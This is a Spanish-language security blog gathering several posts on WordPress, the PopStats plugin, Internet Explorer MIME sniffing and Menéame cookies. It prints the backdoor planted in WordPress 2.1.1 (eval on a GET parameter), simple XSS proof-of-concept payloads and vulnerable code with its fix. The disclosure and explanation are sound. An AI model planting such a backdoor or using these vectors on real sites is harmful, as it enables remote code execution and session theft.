Categories
Seguridad Web WordPress XSS

Actualización de Seguridad de WordPress

Hace unas cuantas horas me enteré de la liberación de una nueva versión de WordPress, que según el blog oficial, un cracker obtuvo acceso a uno de los servidores de wordpress.org y puso código malicioso en las versiones descargables de la versión 2.1.1.

Casualmente descargué esta versión vulnerable de WordPress, para realizar las pruebas -y algunas correcciones- de la nueva versión del plugin PopStats. El código insertado en la versión que tengo a la mano es la siguiente (feed.php):

php:

function comment_text_phpfilter($filterdata) {
        eval($filterdata);
}

...

if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

Como se puede apreciar, el código insertado es bastante peligroso puesto que permite la ejecución de código arbitrario.

Esta nueva versión, también corrige otro problemas de seguridad:

  • XSS en la parte encargada de evitar ataques de tipo CSRF.

Es recomendable que actualizen cuanto antes vuestra versión de WordPress para evitarse malos ratos.

Categories
CSRF Seguridad Web WordPress XSS

¿Usas el plugin PopStats?

Actualización: Finalmente Luis Sancho
liberó la versión 2.2.1 del plugin PopStats que principalmente corrige un problema de XSS reportado a su autor hace algunos días.

Las cosas que cambian en esta versión:

  • Corrección de vulnerabilidad XSS: problema originado por no realizar filtros adecuados al momento de guardar y mostrar los valores del referer
    y la dirección IP que envía el cliente.
  • El plugin sólo inserta código JavaScript y CSS en página de administración del plugin.
  • Arreglado problema con el evento "onload" del objeto window, ahora utiliza el modelo de eventos del DOM.
  • Protección contra ataques de tipo CSRF al momento de limpiar las estadísticas (*).

(*) Al enviar esta propuesta, introduje un bug en el plugin que hace que no se puedan limpiar las estadísticas
en la rama 2.0 de WordPress, esto fue originado por que la ubicación de la función check_admin_referer cambia entre las versiones 2.0.x
(pluggable-functions.php) y 2.1.x (pluggable.php).


Luego de haber estado usando durante un tiempo el plugin PopStats, hoy mientras revisaba las estadísticas del blog, acabo de darme cuenta que es vulnerable a ataques XSS.

Por el momento no daré los detalles de la vulnerabilidad, pero recomiendo que desactiven cuanto antes el mencionado plugin, puesto que estos valores especialmente preparados se pueden persistir en las tablas que usa para almacenar sus datos.

Categories
Internet Explorer Microsoft Seguridad Web XSS

La (in)seguridad de Internet Explorer

Este último fin de semana, mientras hacía una lectura de los sitios a los que estoy suscrito, encontré una interesantísima entrada en el que describe un bug que hace que Internet Explorer facilite los ataques XSS.

Para los que no siguieron el enlace, intentaré resumir de que trata el bug que se comenta ahí:

En teoría, cualquier documento que es servido por un (valga la redundancia) servidor web, está acompañado por una cabecera Content-type, que indica al navegador el tipo de archivo que es, en base a esto el navegador normalmente asocia una acción (interpretar el documento, pasar el control a otra aplicación o finalmente preguntar al usuario que desea hacer con ese archivo).

El caso es que Microsoft implementó algo que se denomina MIME Type Detection, donde básicamente se usan los primeros bytes de un archivo para intentar determinar el tipo o contenido del mismo, esta característica incluso está mencionado en el RFC 2616 (sección 7.2.1 Type).

Any HTTP/1.1 message containing an entity-body SHOULD include a
Content-Type header field defining the media type of that body. If
and only if the media type is not given by a Content-Type field, the
recipient MAY attempt to guess the media type via inspection of its
content and/or the name extension(s) of the URI used to identify the
resource
. If the media type remains unknown, the recipient SHOULD
treat it as type "application/octet-stream".

De la cita, se puede ver que sólo se debe usar esta característica si el servidor web NO envía el Content-type correspondiente para el documento que está enviando al cliente.

Como casi todo en la historia de Internet Explorer, Microsoft tiene su propia forma de interpretar los estándares, y es que gracias a la característica antes mencionada, un archivo de texto plano, imagen u otro tipo de documento puede ser interpretado como HTML siempre y cuando éstos incluyan contenido HTML.

Si alguien tiene Internet Explorer a la mano, puede ver que si entra a http://test.buayacorp.com/xss.txt, se mostrará el mensaje "Esto es un archivo de texto" para un archivo de texto plano que contiene lo siguiente:

code:

<script>alert("Esto es un archivo de texto")</script>

Gracias a este bug, múltiples aplicaciones o sitios que permiten subir contenidos a sus usuarios son vulnerables, entre los que se me vienen a la mente:

  • Fresqui: vulnerable
  • Menéame: al parecer no es vulnerable porque hace una conversión de formato al subir un avatar
  • ANWMP o cualquier sitio que tenga instalado Drupal y permita subir archivos: vulnerable
  • etc, etc.

No recomiendo un navegador en especial (usen Firefox! 😀 ), puesto que fácilmente podría hacer el ridículo con los últimos bugs reportados en varios navegadores.

Categories
Menéame Seguridad Web XSS

Menéame y las cookies HttpOnly

Este último fin de semana finalmente fue incluido un parche para que la cookie donde se almacena las credenciales del usuario, sea marcada con la propiedad HttpOnly

Se hizo esta sugerencia gracias a un bug (XSS) -sobre el que comentaré dentro de unos días- que afectaba principalmente a todas las versiones de Internet Explorer, funcionaba porque este navegador hace posible la ejecución de javascript desde CSS.

Si bien es cierto que esta nueva característica incluida en menéame no evita del todo el robo de cookies, por lo menos limitará un poco más el número de vectores de ataques XSS.

Categories
Seguridad Web WordPress XSS

Nueva vulnerabilidad de WordPress

Héctor comentaba sobre la liberación de una nueva versión de wordpress que corregía un bug presente en las ramas 2.0 y 2.1 de este CMS.

Este error se presenta en la función wp_nonce_ays (archivo wp-includes/functions.php), porque la variable $action no está correctamente validada y en algunos casos, ésta puede ser modificada por el cliente. Por ejemplo http://vulnerable.com/wp-admin/plugins.php?action=activate&plugin=<script>alert(/XSS/)<script> es un posible vector de ataque.

php:

function wp_nonce_ays($action) {
        global $pagenow, $menu, $submenu, $parent_file, $submenu_file;

        $adminurl = get_option('siteurl') . '/wp-admin';
        if ( wp_get_referer() )
                $adminurl = wp_get_referer();

        $title = __('WordPress Confirmation');
        // Remove extra layer of slashes.
        $_POST   = stripslashes_deep($_POST  );
        if ( $_POST ) {
                $q = http_build_query($_POST);
                $q = explode( ini_get('arg_separator.output'), $q);
                $html .= "\t<form method='post' action='$pagenow'>\n";
                foreach ( (array) $q as $a ) {
                        $v = substr(strstr($a, '='), 1);
                        $k = substr($a, 0, -(strlen($v)+1));
                        $html .= "\t\t<input type='hidden' name='" . attribute_escape(urldecode($k)) . "' value='" . attribute_escape(urldecode($v)) . "' />\n";
                }
                $html .= "\t\t<input type='hidden' name='_wpnonce' value='" . wp_create_nonce($action) . "' />\n";
X              $html .= "\t\t<div id='message' class='confirm fade'>\n\t\t<p>" . wp_explain_nonce($action) . "</p>\n\t\t<p><a href='$adminurl'>" . __('No') . "</a> <input type='submit' value='" . __('Yes') . "' /></p>\n\t\t</div>\n\t</form>\n";
        } else {
X              $html .= "\t<div id='message' class='confirm fade'>\n\t<p>" . wp_explain_nonce($action) . "</p>\n\t<p><a href='$adminurl'>" . __('No') . "</a> <a href='" . add_query_arg( '_wpnonce', wp_create_nonce($action), $_SERVER['REQUEST_URI'] ) . "'>" . __('Yes') . "</a></p>\n\t</div>\n";
        }
        $html .= "</body>\n</html>";
        wp_die($html, $title);
}

Para corregir este fallo, simplemente hay que aplicar la función wp_specialchars sobre la salida de wp_explain_nonce en las línes marcadas con X:

php:

wp_specialchars(wp_explain_nonce($action));

Aprovechando este suceso, finalmente actualicé el blog a la versión 2.1 de WordPress e instalé el plugin wp-cache; si notan algún error, les estaré muy agradecido si me lo hacen saber.